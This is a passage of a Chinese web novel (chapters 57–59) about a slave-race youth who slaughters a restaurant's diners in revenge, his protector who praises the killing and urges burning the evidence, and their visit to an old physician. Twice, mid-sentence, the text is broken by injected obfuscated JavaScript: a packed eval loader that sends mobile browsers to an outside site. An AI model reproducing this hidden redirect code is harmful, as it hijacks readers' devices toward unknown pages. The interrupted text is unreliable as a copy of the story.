大堂中出现从未有过的寂静。许多人陷入霎那愣神,未及思索,又听九十四道:“今日来此,是为诸位桌上、盘中、口腹之内,每一个我因你们口腹之欲而丧命的同族前来向你们索命。” 他顿了顿,为了不叫众人误会,又补充道:“不止你们,此后这片土地上,所有屠杀、鞭打、啃食蝣族的人,我都会代替我的同族,从他们的心肺,骨血,皮肉中,一刀一刀地挖下肉来,祭奠我被滥杀的族人。” 九十四伸出手,摊开掌心,出于礼节,对他们扬唇笑了一下。 接着轻声召喊道: “破命。” 娑婆的第一场雪,下下来了。 57.下雪 白日还是晴空万里,出了一指天墟便瞧见天上乌云密布。 初冬的天气一眼一个样,外头气温骤降,眼见着就要落雨,阮玉山一路回宅子,一路思考九十四今日穿在身上的衣裳会不会太薄了。 一时又觉得在九十四出发前,他给人的衣裳刺得太破了些,挡不住什么风。 思及此,阮玉山命车夫加快了回程的速度。 纪慈果然留了人手尾随他的行踪,阮玉山用玄息略作感知,能被探查到的有三个,两个在西南方位,一个在正南方,统统是三阶以上玄境。 至于他探查不出的——纪慈身边大概还没有此等高手。 他撤下车帘,倾身向前敲了三下门框,马夫意会,在临近易宅后门的巷子里直接一拐,从正门进到一家门户大开的小店。 车马一入,小店立时关了门,将尾随之人甩在外头。 阮玉山自店中走向连通易宅的暗道。 宅子里已经没人了,云岫在替他整理今夜一指天墟变卖的所有财产,其余大小奴仆皆已乔装过后分批离开岛上,如今四方清正还剩云岫为他和九十四备好的马匹行囊,以及一只那罗迦。 奇怪的是,今夜的那罗迦似乎非常急躁。 一见着阮玉山便扑过来,围着阮玉山一直打转,要把人往外拉扯。 阮玉山盯着它。 他站在原地沉思片刻,扭头钻进屋子,看了一圈,果然不见原本靠在墙角的破命。 神器有灵,不得主召,不离原位。 破命消失,必定随主而去。 阮玉山打开院中暗门,直接翻身上马,自后山小道一路奔向主街。 天上下雪了。 阮玉山身上没沾到一粒雪片。 大雪落下的速度追不上他夜奔时耳边的猎猎狂风,如同食肆中的尖叫与恐慌来不及逃窜便被扼杀在破命的刀刃下。 当那串匆促的马蹄声渐渐逼近这家死寂的食肆时,夜空中乌云散去,明月高悬。 大街上玉屑纷纷,空无一人。 九十四坐在食肆门前最矮的一级石阶上,身体后仰着,背部靠在数层坚硬的阶棱,像在四方清正的那把摇椅中,后方的石阶成了他胳膊支撑的扶手,是一个坐躺的姿势。 他的眉睫和双肩上已积了一层薄薄的银雪,整个人仰头看着天上那轮月亮,乌长的卷发因他仰头的姿势垂到阶面,被积雪埋住了发尾。 破命静静地靠在他的肩上,刀刃处隐约可见一圈干涸的血迹。 九十四周身的石阶也覆盖着满了大雪,他似乎许久未动。 破命清寒的刀光将淡漠的雪色映照在九十四的脸上,使他看起来像一尊生在雪里的雕塑,被人精雕细琢过,漂亮而无情。 大雪苍白,他也苍白;大雪融化,他也就化了。 阮玉山攥住披风抬腿下马,走过去,将那件厚重的貂毛领麒麟纹朱锦大氅抬手一挥,裹在九十四身上。 九十四的眼珠动了动。 他仿若将将回神,将放在月亮上的遥远目光缓慢地收回来,接着木然地挪到眼前人的脸上。 “阮玉山。” 九十四的声音带着一股还未褪去寒意的冷冽,他抬起在石阶上撑得僵硬的一只胳膊,慢慢地摸到阮玉山的下巴,确认此人真与他口中的名字对上之后,语气渐渐回了温,又点了点头,轻声道:“阮玉山。” 阮玉山半跪在九十四跟前,正低头一言不发地给人系着披风。 他宽厚温暖的手掌摩擦过九十四冰凉的下巴,手上动作麻利,把披风牢牢系在九十四脖子上,将人捂得密不透风:“下雪了不知道躲,跑到门槛上吹风——我是这么教你的?” 九十四的指尖停在阮玉山瘦削凌厉的下颌,他再次抬头看了看眼前的漫天飞雪,挑了挑眉,跟着阮玉山的话重复道:“下雪了。” 说完这话,他的睫毛颤了颤。 九十四终于眨了眨眼。 眉睫处尚未化开的积雪簌簌在他眼前落下,九十四视线低垂,声音在面对阮玉山时生出了一丝萧索和落寞:“阮玉山。” 他的指尖似有若无地在阮玉山脸上划动:“我也下雪了。” 阮玉山动作一顿,视线从貂领游走到九十四被刀光映照得透白的脸上,随即抓住九十四放在他脸上的那只手,捏在掌心揉了又揉,企图把自己的体温传一些到九十四身上。 他抬眼看向九十四身后,这才发现屋檐下方的角落里蹲着一个瘦弱惊慌的小蝣人。 随后阮玉山看向紧闭的食肆大门。 一滩粘稠的血液恰好在此时渗过门板与门槛之间的缝隙悄无声息地流淌出来。 他朝自己斜后方瞥了一眼。 那罗迦当即冲上前,用鼻子顶开了食肆的大门。‘ 一具靠门站立的尸体因此砰的倒地。 浓厚的血腥气扑面而来。 食肆大堂躺满了鲜活的尸体,地面已无处下脚,数不清的碗盏碎片浸泡在满地血水之中,蔓延到门槛的血液还散发着隐隐热气。 九十四另一只臂弯圈着破命,弯曲手腕,用指尖从袖口中抽出那把锃亮的匕首。 匕首很干净,九十四用完便擦过,一直放在袖子里。 他低声开口:“我用你教我的刀,杀了很多人。” 阮玉山波澜不惊地扫视大堂一圈,最后视线回到九十四身上,并无任何异样的神色:“你做得很好,阿四。” 他没有做出任何质疑和责怪。 哪怕不知道发生了什么,阮玉山也没过问的打算。 以九十四的脾性,倘或哪天大开杀戒,死的人必定没一个是无辜的。 他用拇指指腹轻轻擦去九十四眉眼处的寒霜,又用手掌拂去九十四头顶的积雪,最后将九十四拥进怀里:“一个活口也不留——这正该是杀人的做法。这样很好。” 九十四把脸埋进阮玉山的胸膛,深深吸了口气。 他觉得阮玉山离开自己太久了,久到每次他想他的时候,对方都总是姗姗来迟,连阮玉山残留在自己身上陪他的气味也快被大雪冲淡了。 “还有一点,”阮玉山低下脸,用嘴唇蹭他的耳朵,眼神却紧紧盯着大堂中横陈的尸首,“大雪掩盖不了的痕迹,要记得用火烧。” 燕辞洲这场夜半突起的冲天火光隐隐照彻天际,食肆两侧的防火山墙几乎也被烧得失去了作用。 岛上唯一一个打更的更夫率先发现了这场意外,当火场外渐渐聚集的众人用整整一夜的时间扑灭大火时,东方已渐渐吐白,里面所有的尸体都变成了焦炭。 火势将去时,阮玉山正驰骋在前往穿花洞府的荒原上,准备去找那里的主人——钟离善夜。 九十四横坐在他身前的马背上,被他单手搂着,窝在他怀里补觉。 他们身后跟着一匹飞驰的骏马和一头浑身雪白的那罗迦。 阮玉山带走了那个小蝣人,小蝣人不会骑马,只能坐在那罗迦的背上,小心翼翼地匍匐着,不敢起身。 从月上中天一直到天色显白,阮玉山把行囊里的干粮分给了小蝣人,到斜阳黄昏时分,九十四终于在阮玉山的怀里苏醒。 他还没睁眼,先喊:“阮玉山?” 身下的烈马被人勒住缰绳,随后放缓了奔跑的速度,在平原上缓缓地踱步。 他听见头顶传来一声轻笑:“怎么?叫我名字跟断奶似的,戒不掉了。” 九十四不说话。 他叫阮玉山的名字本就不是为了说话。 最后一抹西斜的残阳照入他淡蓝色的眼眸中,九十四半睁着眼,歪头靠在阮玉山肩上,看着那轮残日逐渐滑落,忽然想起过往无数个类似的夕阳下,他和他的族人就这么等待着一轮一轮巨大的太阳日复一日的淹没在青黑色的夜空中,随后他们就会迎来短暂的休憩,或是永久的死亡。 “我不喜欢下雪。”九十四用脑袋在阮玉山胸前蹭了蹭,调整了一个更舒服的姿势,“蝣人都不喜欢下雪。” 他眨眨眼,把身上的披风裹紧了些:“雪天,头上找不到飞鸟,地里也长不出蚯蚓,连一棵草,一块树皮都找不到。我们饿得睡不着觉,睁着眼睛,听肚子叫到大天亮。” 阮玉山低下头,抱着九十四的那只手在九十四的背上来回轻轻抚摸着。 “下雪的时候,白天很短。但是雪太亮了,照得人眼睛痛。驯监不让我们休息,因为天总是早早地就黑了。我们的脚踩在雪里,晚上回笼子时,膝盖下方都没有知觉。”九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524637|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十四望着远处在草地上觅食的三两牛羊,絮絮说着,“天太冷了,地下的牢房更冷,牢房里的笼子冷得让人骨头发痛。有时候在心里劝了自己的身体一夜,刚刚睡着,天又亮了。我们的脚才恢复知觉,又要踩进雪地里。” 说到这儿,他的脚动了动,无声地翘起来去追随偏斜的阳光,就像自己的身体跟随回忆去到了那些寒冷的冬夜。 “你知道吗?”他仰起脸,看着阮玉山,一只手隔着披风去抓阮玉山的衣裳,抓到了就扯一扯——明明阮玉山就看着他,他还是要扯一扯,“饕餮谷的雪很厚,比昨夜的雪厚上许多。每一个下雪的白天我们都盼着夜晚快些降临,可入了夜,又希望能到白天,那样至少能有太阳晒晒。” 阮玉山摸了摸九十四的脸,觉得很凉,于是用手一直捧着,又俯下去,用自己的脸和嘴唇蹭蹭九十四的额头。 他一直静默地听着。 九十四接着说:“我们就这样,盼了黑夜盼白天,盼着时间过得越快越好,快到饕餮谷该死的雪天早点过去。” “可是饕餮谷的雪天很长很长,深秋的雪会一直下到年来春末。”九十四顿了顿,眼中漫上一种悲凉的情绪。 他抿了抿唇,似乎在压抑自己的情绪,末了再开口,声音中还是带着点哽咽:“总有很多蝣人熬不过去。” “我们有的会用锁链勒死自己,有的胆子大些,会偷偷开了笼子的锁,跑去偷吃一点驯监的剩饭,或者从狗碗里抢两口吃的,能吃多少吃多少,吃到被人发现以后,再用磨得很锋利的石头割破自己的喉咙。还有的……生不如死。”九十四的眼角泛起红色,“我们白天在大雪里站了太久,夜里回去,腿总是又痒又痛。有的人痒得抠破了皮,挖出了肉,就分不清那是痛还是痒了。好多人痛得一直朝西边磕头,求长生天和凤神保佑。” “可是我一次也没见到过凤神,也没见过长生天。听说笼子外有些种族也很信奉长生天,很久以前我们也在北方,也在马上,老人说我们自来就是跟他们信的,可是怎么长生天保佑了他们,不保佑我们呢?即便他们的长生天不保佑我们,那我们的凤神,为何也见死不救?” 九十四自嘲般的扬了扬唇角:“凤神不会保佑我们的腿不痛,更不会给饕餮谷的蝣人带来一个温暖的雪天。他们见不到凤神,腿一直痛,就一直对着长生天磕头,常常磕上整整一夜。你听过磕一夜响头的声音吗?最开始总是咚咚作响,又沉又实,后面头磕昏了,磕痛了,磕破了,就软绵绵的,可是从不停止。就像昨夜他们在厨房砍我族人的骨头。” 阮玉山指尖一颤。 “我原本不想杀人的。一个也不想。”九十四闭上眼,昨夜鼻息间经久不息的血腥气似乎又缠了上来,“这世上太多人砍过我们的骨头,我知道,我杀不完,也不能杀完。如果有人从一出生就被告知,蝣人是可以屠杀的,那他自小就会认为蝣人的死是天经地义。我不想杀他们,我只想纠正他们。可是知道,和看到,是不一样的。” 九十四深深吸了一口气:“我看到他们的第一眼,忽然明白了。纠正,就要从屠杀开始。如果拿不起刀,就没人愿意听我说话。说不了话,我的族人会被挂在墙边,装在袋子里,放在砧板上,变成牲畜,变成货物,变成任何人的盘中餐。” 说完这话,九十四久久地不再开口,只把脸往阮玉山的怀里蹭。 阮玉山捧住他的后脑,将他按到自己胸前,一遍一遍安抚似的顺着九十四后背的头发。 他停下马,在荒原的寒风中静默地伫立着,在金黄色的草地上细细感知九十四的身体。 阮玉山听见九十四埋脸抵在他肩下时传出的细细颤抖的呼吸,也摸到九十四微微抖动的双肩和脊背,还有腰腹间那只隔着披风攥住他衣裳的手——那只手始终用力抓着他,好似一旦放开,手的主人就会堕入无休止的黑暗与哀伤。 良久,阮玉山胸口处的衣襟被打湿。 淡淡的水渍在他的衣服上一圈圈晕开,晕透他肩下的竹叶纹金线,洇透了柔软的布料。 湿润的衣料贴在他的皮肤上,带着九十四体温的触感连带着胸前小兽似的哽咽声一齐在这个萧索的黄昏钻到他的心里。 阮玉山在这天做了一个彻底的决定。 58.畜生 王侯公卿住府,平头百姓住宅。 穿花洞府,名字是府,实际是所宅子。 钟离善夜此人,名义上在娑婆各国既无官职,也不是皇亲国戚,虽说哪国都有心将他请来自己的地盘给个一官半职把人圈在身边,但他这点和白断雨一样,谁的面子都不给。 非但不给,还要给自己的宅子取名为府,颇有点跳出三界外,不在五行中,一人做一国的意思。 至于这穿花洞府,名字虽是他取的,宅子却是阮家人造的。 早年钟离善夜居无定所,热衷于四处漂泊,是个浪子。 后来阮玉山那个特立独行的小叔叔阮招出生了。 阮招自落地起便体弱多病,没过过一天安生日子。 老太太千里迢迢花重金请了钟离善夜前来医治,这人把脉一搭,面相一摸,生辰八字一问,告诉老太太说阮招这孩子不能留在府里,若是让世家养着,成年之前势必早夭。 老太太听过便明白,阮招这是命数被家运压着了。 要么找人替命,要么自行离家,寻个普通人户养着。 佘瑶英是从不认可世家子弟吃不得苦找人替命这档子做法的,既然阮招留不得,那便让他去吃他该受的苦。 要出生在阮家,就得担得起自己的命数。 “说是这么说,但老太太到底还是心疼,因此在选寄养人家的事上很犯难,许久都敲不定。正当我家老太太为此着急的时候,老头子就说,他算了算,这小子跟他命盘相合,要不就拿给他养个几年,时候到了,他再送回来。” 阮玉山说这话时,正带着九十四在山腰的青石板石阶上拾级而行。 穿花洞府修在山上,原本有小道可以直接骑马到宅子的后方马厩,可他见九十四一路上兴致不高,便干脆下了马,先写了张条子让那罗迦叼着,把小蝣人送上去,届时自有宅子里的下人安排小蝣人的去处,他则带着九十四从山脚慢慢游玩上去。 一边走,一边同九十四说起关于阮招和钟离善业的这桩往事。 “老头子想养阮招,老太太听了,先是高兴,”阮玉山回头朝落后自己两步的九十四伸手,把人牵到自己面前,“毕竟人活四百岁,不成仙也是仙了。有个老神仙愿意替自己养孩子,先不说替人消灾了,就是寻常小孩儿,能送到钟离善夜膝下调养几年,那也是多少人求都求不来的福气。” 九十四这大半个月身子一直莫名的不大见好,加上昨夜又耗了一夜心力,现在爬了半天山,竟有些气喘,停在阮玉山身边缓过了气才开口:“那就把你小叔叔送来这儿了?” 阮玉山见他累着了,便松开手,抚上他后背,隔着披风一下一下给他顺气,接着道:“这山上原没有宅子。是老太太听闻钟离善夜有意抚养阮招,特地命人在此修了一座宅院。一来也好安排府里的人到此伺候,二来么,也是预防老头子反悔,养到一半不要孩子了。” 钟离善夜要强。 人一要强,脸皮就薄,明面儿上最不敢做亏心事。 “倘或老头子真把阮招养到一半不想养了,看在这么大一座宅院的份上,轻易也说不出弃养的话。”阮玉山说道,“可宅子修好,老太太私下里琢磨,有怀疑是不是老头子故意舍了局,就想从他这里讹个孩子走。后边便派了许多府里的近侍来此伺候,许多年一直提防着他。直到阮招能走路说话习武了,老太太发觉老头子是真心实意待阮招好,才慢慢放下戒心。” 阮玉山往更前方指了指:“待会到了你好好看看,这宅子修得比多少王侯将相的府邸还气派。” 九十四点评道:“你们这是舍不找孩子套不着狼。” 阮玉山反驳:“我们这是孩子也舍了,还给狼打了个窝。” 他见九十四呼吸平稳了,便问:“还走得动吗?” 九十四垂着眼,盯着被阮玉山放开的那只手,不知在想什么。 俄顷,摇了摇头:“走不动。” 阮玉山刚想说那就原地休息休息,又听九十四说:“有人扶着可以试试。” 阮玉山低头笑了一下,扶着九十四的胳膊准备往前走。 哪晓得九十四一动不动,面无表情道:“扶手效果会好些。” 阮玉山凝视着他想了想,说:“要不我背你?” 九十四抬头:“那还握手吗?” 阮玉山没过两天好日子心里边又犯欠,把手抽回去背在身后,道貌岸然地摇摇头:“不握。” 九十四:“那不背。” 阮玉山还嘴欠:“不背就不走。” 九十四低下眼,心里嘀嘀咕咕念了两句蝣语,披风一掀,往地上大剌剌地一坐:“不走就不走!” 他别开脑袋,越想越过不去,认为阮玉山这是典型的言而无信。 对方翻脸,他也翻脸! 他说到做到,立马把脸垮下来。 岂知胸前的披风还没敞开片刻,忽地又被阮玉山合拢。 九十四拉着嘴角,冷冷地刚要把阮玉山的手打下去,两只胳膊就猝不及防地被阮玉山逮住。 只见眼前人一个转身微微蹲下,顺势攥着他的手腕往前一扯——九十四眨眼间身体腾空,正险些从阮玉山的背上翻出去时,两个膝窝就被人用手稳稳兜住了。 阮玉山的声音带着很明显的笑意从他身下传上来:“地上凉!” 说完,又放沉了语调,逗他似的,用他才听得出的语气低低问:“把我们阿四冻着可怎么办?” 九十四把眼珠子转回阮玉山身上。 他一言不发地盯着阮玉山乌黑的后脑勺看了半晌,忽然喊:“阮玉山。” “嗯?” “你不牵我吗?” 阮玉山把他颠了一下,没有正面回答:“等上了山,你先洗个热水澡,吃过了饭,我再带你去见钟老头。” 九十四问:“他不是复姓钟离?” “会数数啊——还知道个一二三。”阮玉山的语调波澜不惊,“那你数数,我有几只手?” 九十四噤声了。 他的脸色再次快速地沉下来,盯着阮玉山可恶的后脑勺,真想像敲木鱼一样用拳头给阮玉山的脑袋来两下。 正在他思考是否要实施此等暴行的当儿,阮玉山抬起一只胳膊,抓住了他的手。 阮玉山要牵他,便势必有一只手不能兜住他。 他的手被阮玉山握紧揉了揉,又牵到嘴边吻了吻手心。 这一切都发生得很快,阮玉山在他掌心留下两个粗糙的吻便快速地放下胳膊捞回他悬空的腿。 “待会儿给你做银丝鸡汤面。”他听见阮玉山说,“老头子自己养的鸡,日日拿人参喂的,吃了就暖和了。” 九十四张了张嘴,想说自己不冷。 蝣人能在饕餮谷那样的冰冻三尺的积雪中年复一年地活下去,没有貂领朱锦的狐皮大氅,也没有干净柔软的丝绸里衣,他还是好好生生地长到了十八岁,昨夜那点雪对九十四来说算不得什么。 但是他没开口。 他只是拂去了头顶枝叶落到阮玉山鬓发处的露珠,问:“要煮多久?” “煮面快。”阮玉山背着他,半点不见喘气,悠悠地走在石阶上,“就是鸡汤炖起来费工夫。” 九十四又问:“炖鸡汤……你要守着?” 阮玉山:“那是自然。” 九十四:“能在屋子里炖吗?” 阮玉山:“得去厨房。” “厨房……”九十四的手停留在阮玉山的鬓发上,“离我远吗?” “远。”阮玉山说,“离老头子住的地方近。” 九十四收回手:“那不吃了。” 阮玉山又笑了一下:“你好好洗个热水澡,洗完我就把面煮好端来。” 九十四跟他确认:“洗完就来?” “洗完就来。” 是以阮玉山一到了穿花洞府,先把九十四带到自己的别院,打发宅子里的人送来热水,守着九十四泡进浴桶,便火急火燎地去找钟离善夜。 他独自去找钟离善夜,当然不单纯是为了炖鸡。 穿花洞府的下人都是老太太从阮家打发送来的,这会子阮玉山要找人,自然有小厮丫头们轻车熟路地引他去见。 钟离善夜正挽着裤脚在地里在种菜。 听见后头有人来了,头也不回,只哼哼两声:“听说这回带了两个蝣人和一只白狼?” “蝣人是没错,另外一头可不是狼。”阮玉山一边说,一边去给钟离善夜拿手杖,“是那罗迦。” 钟离善夜是个睁眼瞎。 几时瞎的没人知道,反正从阮玉山、阮玉山的爹、阮玉山的祖父、曾祖父、曾曾祖父,打知道钟离善夜这号人起,此人就是个瞎子。 但好歹是活了四百年的老神仙,听声辨物不在话下,行动之敏捷灵活,比起常人只有过之而无不及。 钟离善夜这两只眼睛,瞎与不瞎,区别不大。 比如现在,阮玉山的手杖还没递到他身边,钟离善夜已经抖擞抖擞双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537838|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿,三两下绕开自己种的每一颗甜菜,走出田圃洗手了。 至于这人灵敏至此为何还要随身携带一根手杖,阮玉山年幼时也问过这个问题,钟离善夜说是因为打人方便。 说完就往阮玉山偷了他山鸡的手上来了一棍子。 这么多年过去,老头子还是在使这根手杖。 “稀罕事儿。”钟离善夜洗过了手,从阮玉山手上接过手杖,慢悠悠往主屋里去,“怎么?你老阮家今年有大日子,祭祀得砍三个头?蝣人不够,还得拿神兽来凑?” 阮玉山就不乐意听他说这事儿:“待会儿你见了他,别提祭祀的事。” ——阮家年年用蝣人活祭之事,并非天下皆知。 否则阮玉山也不会随随便便就把自己姓甚名谁、家在何方、族中旧事等等像打发时间似的说出来给九十四解闷。 红州阮家,说好听点天子对其是器重,难听点其实是忌惮。 红州百年来也对此十分清楚,因此拉帮结派发展势力之事,阮家是从来不干。 一来世代天子对阮氏属实说得上宽厚,不管实际是个什么想法,总之明面上对其很是礼待,什么贡品金银、奇珍异宝,隔三岔五就打发内监千里迢迢往阮府派送。阮家如不懂得见好就收的道理,那在大祈也安分不到这个时候。 二是土匪出身的阮家人也确实对曲意逢迎培植党羽并不热衷。 阮家的子孙那么多年就对两样东西兴趣浓厚:一是搞钱,二是打仗。如此总结下来其实跟土匪也没有太大区别。 秉持着以上两个原则,整个阮氏甚至红州,在大祈自来都不是张扬的做派。除了这几十年出了个阮玉山,因幼时开蒙早,玄道天赋极高,武艺也强,自小便名动西北,长大之后更是出落得英姿飒爽,上马能战下马能文,属于想藏锋也藏不住的苗子。 同时东南无镛城又有个谢九楼与他几乎同龄,照样是声名赫赫,旁人提起其中一个便难免说到另一个,二者这许多年在诸人口中总是好似难分伯仲般一同被讨论,更引得世间对阮玉山多有闻名。 除此之外,世人对红州阮氏便知之甚少了。 这也是那么多年来阮家采买蝣人用以活祭从来只去饕餮谷的缘故。 若非说购入蝣人的渠道,大祈明面上只有饕餮谷,背地里法子并不少,否则也不会有许多人一路盯着打劫从饕餮谷出来的主顾。 多了不说,光阮玉山手下的一指天墟,真想给他每年流通一个祭品到府上,那是最简单不过。 可野路子越多,消息就越不好保住。 引起的讨论和注目多了,阮家就算只想独善其身,也难免会吸引一些想要前来巴结的势力。 阮家人不怕事,但怕麻烦。直接去饕餮谷采买蝣人最是省事。 饕餮谷做了几百年蝣人生意,口风严,摆得正姿态,知道主顾最想要什么、又最忌讳什么,阮家不想走漏的消息,饕餮谷百年来是半点没露出过一丝风声。 加上阮氏一向顺应天子心意在红州深居简出,每年也就采买蝣人之时子孙们会趁此机会去到江南隐姓埋名大逛一场。即便带着个笼子,笼子里装个蝣人,世人也只会当作是哪个富家公子出来游玩,难有知晓那是红州阮府为祭祀所用。 “哟,”钟离善夜轻巧地坐在太师椅里,二郎腿一搭,抄过手边放凉的头茬银针啜了一口,“保密到这地步了?祭品都不能先知道自己要上断头台?” 阮玉山懒得跟他废话:“那不是祭品。” 钟离善夜翘起嘴角:“你小子要背着佘丫头偷摸给自己开小灶?” 阮玉山额头青筋突突跳,指着他道:“哪天把你个老妖怪给炖了,我也不炖他。” 钟离放下茶杯,绕着阮玉山走了一圈,最后闪到人身边,凑在阮玉山耳边贼兮兮地笑道:“癖好挺特殊啊。” 阮玉山:“……” 这倒是让他不好反驳了。 阮玉山沉默片刻,正思索着怎么跟钟离善夜解释自己与九十四之间确实是这么个关系但又并非是对方所理解的关系时,忽听砰的一声。 他脑子还没反应过来,双膝已然轰的跪下了。 接着阮玉山才明白,刚才那一声是钟离善业的手杖打自己膝窝上来了,顺带还踹了他一脚。 老太太赏他几闷棍他不怕,钟离善夜四百年的功力可不是盖的。 阮玉山身上腿上膝盖上的痛劲儿后知后觉上来,正龇牙咧嘴撑住膝盖要爬起来,当即又听身后呵斥道:“你个小畜生!” 59.过招 阮玉山龇着牙摸了摸背,感觉自己骨头都快被钟离善夜那一脚给踹碎了。 他以前不是没挨过钟离善夜的打,可没几次能比这一脚更狠。 没等他明白过来是怎么个事儿,又见钟离善夜绕到他面前,举起手杖指着他骂:“你们老阮家有拿活人祭祀的旧俗倒也罢了,我一个外人不便置喙。可是杀人不过头点地,你要处理那俩小蝣人你就干脆些,何苦去磋磨人家?我说你这些年也该成人了,怎么也不见立个妻室,合着是有这等见不得人的癖性!” 他拿手杖对着阮玉山隔空点了又点,简直有些气得说不上话的劲头:“你玩什么不好?你玩蝣人!本就是等死的性命,临行前还要被你作此羞辱!人都道士可杀不可辱,你倒好,你仗着蝣人不被当人,是又杀又辱。这叫什么?这叫虐杀!佘瑶英那丫头就是这么教你的?阮家那么多年的家规祖训,都叫你听到狗肚子里去了?” 钟离善夜越说气性越大,左右看看——虽然不知道他一个瞎子有什么好看,反正最后还是干脆把手杖另一头雕花刻纹的金蟾手柄换过去对准了阮玉山:“老子今天就替你老祖母好好教训你一顿!” 阮玉山一看那精雕细琢的梅花金蟾杖就要打到自己头上,原是想躲,紧接着转念一想,又硬生生地受下了这一杖。 叼着三叉梅花枝的楠木金蟾嘴不偏不倚打到他左侧额头。 一股鲜血径直从他脑门淌下来,接着是第二股,第三股。 钟离善夜手上一顿,显然没料到这小子往常如此油滑投机,今日却老实巴交地愿意挨打。 他缓缓收了杖,问道:“怎么不躲呀?” 阮玉山翻眼将他一瞅,自顾拿了锦帕给自己擦擦额头,这才拍拍膝盖站起来:“躲了你还能好好站这儿听我说话?” 那不得把他追得满山跑直到打个痛快为止? 那要换平时他还有功夫跟钟离善夜闹闹,这会子九十四还等着他回去吃面呢。 钟离善夜哼了一声,又坐回那把太师椅上,搭上自己的二郎腿,宛若无事发生:“你说吧。我听听你怎么狡辩。” 阮玉山草草捂住伤口,也大摇大摆地望钟离善夜旁边圈椅上一坐,早已准备好了自己来时的说辞:“阿四,我是有意带回家去的。” 从饕餮谷初遇,到目连村遇袭,再到燕辞洲的一夜大火,阮玉山在钟离善夜面前,用最简洁的话和最省时的说法,倒是该讲的都讲了个清楚。 这也是难为他,好不容易找到个对自己知根知底的人。 在九十四面前尚且因为家族秘辛要隐瞒三分,到了钟离善业这儿,阮玉山可算能讲个痛快。 他必须得把自己与九十四的处境让钟离善夜知道了解得清清楚楚,这才能方便后头开口要人帮忙。 钟离善业从头到尾一字不落地听了,沉默半晌,问道:“你的意思是,他两刻钟之内,杀了整整一个饭馆的人,然后在你面前委屈地哭了一夜?” 阮玉山认为钟离善夜的概括有些偏颇:“哪有整整一个饭馆——那不是还救下一个小蝣人。对了,他说还放了个小姑娘什么的,我没听清楚。” 钟离善夜挥挥手:“你说这么多,究竟想要我做什么?” 阮玉山身子微微凑过去,微笑着刚要开口,想让钟离善夜收九十四当个徒弟,话到临头眼珠子一转,觉得有个事儿就差临门一脚,于是脱口道:“我送他当你义子,如何?” 钟离善夜冷笑:“我是大夫,不是屠夫。” 说完他蓦地站起来,要把阮玉山轰走:“我就晓得你没憋好屁!就这蝣人的脾性,还给我当义子?我看像转世的天王老子!倘或真收到门下,哪天再一时兴起——哼哼!他在前边杀,我在后边救,直接给我累成孙子!去去去,不收不收!” 阮玉山的脸皮一向很厚:“你连他人都没见到就着急忙慌给拒之门外,这不像你行事作风啊——莫不是前些年养个阮招,给你养怕了?” 提到阮招,钟离善夜的神色闪过一丝说不清道不明的僵硬。 他甚至没来得及做任何掩饰,仿佛光是听到这个名字便叫他突遭洪水猛水般呆愣住。 不过那呆愣也就片刻功夫,钟离善夜便扬了扬唇,指着阮玉山道:“你小子,想用激将法。” 阮玉山没应是与不是,只往椅子背上一靠:“你有胆量,就先去会会他。” 钟离善夜道:“倘若我会了还是不喜欢?” 阮玉山只笑:“你会喜欢他的。” “得了,人还没见呢,就给他戴高帽。”钟离善夜掸掸裤脚,提腿往外走去,“找人给你包扎包扎伤口去,我先瞧瞧那个蝣人儿。” “等等,”阮玉山叫住他,“第一次会客,哪有空手前去的道理?” 钟离善夜“哟呵”一声,撸起袖子做一个讨债的姿态:“这他*的到底谁认儿子谁认老子?” 阮玉山又擦了擦伤,取下捂在额头的帕子确认伤口不怎么流血了,便上前握住钟离善夜的双肩:“我来!我给你俩安排妥当,如何?” 钟离善夜:“你要怎么安排?” 阮玉山:“把你养的山鸡给我捉一只来。” 钟离善夜一脚踹过去:“去你的!” 大半个时辰后,钟离善夜端着碗将将煮好的银丝鸡汤面到别院去了。 他一边走,一边叽里咕噜:“成天就惦记我的那几只山鸡,个臭小子。” 说完,他第五次看向碗里的人参竹荪浓汤和汤里根根分明的银丝面。 接着咽了口唾沫。 钟离善夜别的爱好没有,就是嘴馋。 不光是馋,还特别馋阮玉山的手艺。 因此打归打骂归骂,阮玉山说要下厨,他第一个递柴火捉鸡。 递完了柴火杀完了鸡,用上好的人参、竹荪和就地取材的些许山珍煨着,煨上一个多时辰,再加些阮玉山才晓得怎么放的山中药材——别看钟离善夜这人是大夫,手上捧着药材只会救人却不会炖鸡,一把炖肉的药材放进去,他炖出来是药,阮玉山炖出来就是鲜得赛神仙的山珍汤。 时候炖够了,直把鸡肉炖得烂烂的,入口即化,那些山珍也在汤里入了味。 老鸡是炖得越久越香,钟离善夜守在厨房灶火边,闻着锅里的气味直流口水。 那鸡还没炖烂呢,阮玉山就要揭盖,钟离善夜按住他的手问他要干嘛,阮玉山说先盛出来给阿四煮面,否则人要等急了。 钟离善夜满不高兴,哼哼唧唧地端着碗面去见他还没认在膝下的义子。 别院中设了三进院落,每进之间又多一个小花园,第一进花园正中设着石屏,第二进设着错落的假山,假山后的院子前引了山泉活水分流在花圃之外,蜿蜒于每座房屋之前,取一个背山面水的寓意。 如进入了冬,院子里的花枝倒是干枯凋敝,唯有点假山活水可赏看。 